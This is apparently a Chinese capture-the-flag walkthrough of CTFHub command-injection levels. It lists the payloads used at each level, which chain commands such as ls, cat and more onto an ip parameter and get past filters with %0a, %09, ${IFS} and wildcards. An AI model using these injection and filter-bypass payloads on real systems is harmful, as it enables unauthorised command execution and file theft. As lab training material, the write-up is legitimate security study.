https://www.ctfhub.com/#/skilltree

命令注入
命令注入,查看当前文件夹结构 ?ip=127.0.0.1;ls

查看php文件内容 ?ip=127.0.0.1;cat 11001571914029.php

提交flag,成功破解

过滤cat
命令注入,查看当前文件夹结构 ?ip=127.0.0.1;ls

使用cat尝试读取php文件 ?ip=127.0.0.1;cat flag_178872710619471.php

显示失败,使用more替换cat再次尝试 ?ip=127.0.0.1;more flag_178872710619471.php

提交flag,成功破解

过滤空格
命令注入,查看当前文件夹结构 ?ip=127.0.0.1;ls

直接使用cat浏览php文件 ?ip=127.0.0.1;cat flag_30181147756989.php

读取失败,使用%09替换空格再次尝试 ?ip=127.0.0.1;cat%09flag_30181147756989.php

提交flag,成功破解

ps:常用的空格替换方法

过滤目录分隔符
命令注入,查看当前文件夹结构 ?ip=127.0.0.1;ls

命令注入,查看flag文件夹结构 ?ip=127.0.0.1;ls flag_is_here

先使用cd切换到flag目录,在使用cat查看php文件 ?ip=127.0.0.1;cd flag_is_here;cat flag_310062566722497.php

提交flag,成功破解

过滤运算符
命令注入,查看当前文件夹结构 ?ip=127.0.0.1;ls

命令注入,查看php文件 ?ip=127.0.0.1;cat flag_8111289615075.php

提交flag,成功破解

综合过滤练习
直接ping127.0.0.1,可以回显 ?ip=127.0.0.1

加上分号 ; 再次ping127.0.0.1,回显异常(说明过滤了分号;) ?ip=127.0.0.1;

使用%0a替换分号再次尝试,可以回显(则可以使用%0a替换分号) ?ip=127.0.0.1%0a

命令注入,查看当前文件夹内容 ?ip=127.0.0.1%0als

使用${IFS}代替空格,使用正则代替flag ?ip=127.0.0.1%0als${IFS}f*_is_here

先切换到flag_is_here目录,再more查看php文件 ?ip=127.0.0.1%0acd${IFS}f*_is_here%0amore${IFS}f*_326413011625021.php

提交flag,成功破解题目